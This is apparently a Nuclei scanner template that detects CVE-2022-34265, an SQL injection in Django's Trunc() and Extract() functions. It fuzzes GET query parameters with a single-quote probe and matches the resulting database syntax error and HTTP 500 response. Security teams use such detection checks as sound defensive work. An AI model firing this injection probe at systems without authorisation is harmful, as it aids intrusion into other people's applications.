CVE-2022-34265: Django - SQL injection

id: CVE-2022-34265

info:
  name: Django - SQL injection
  author: princechaddha
  severity: critical
  description: |
    An issue was discovered in Django 3.2 before 3.2.14 and 4.0 before 4.0.6. The Trunc() and Extract() database functions are subject to SQL injection if untrusted data is used as a kind/lookup_name value. Applications that constrain the lookup name and kind choice to a known safe list are unaffected.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/django/CVE-2022-34265
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34265
    - https://www.djangoproject.com/weblog/2022/jul/04/security-releases/
    - https://docs.djangoproject.com/en/4.0/releases/security/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-34265
    cwe-id: CWE-89
    epss-score: 0.92734
    epss-percentile: 0.99742
  tags: sqli,dast,vulhub,cve,cve2022,django,vuln

variables:
  rand_string: '{{rand_text_alpha(15, "abc")}}'

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    fuzzing:
      - part: query
        fuzz:
          - "test'{{rand_string}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'syntax error at or near "{{rand_string}}&quot'
          - 'LINE 1: SELECT DATE_TRUNC'
        condition: and

      - type: status
        status:
          - 500
# digest: 4b0a00483046022100d314a8528643eb5225dd51ad7445fdc990506b2a1b8678f1a264e1c33f358d14022100b0ebd4bb847863d23be4a6f4ca9a568c77074aa2b1630c5ac0c69e632794dccf:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.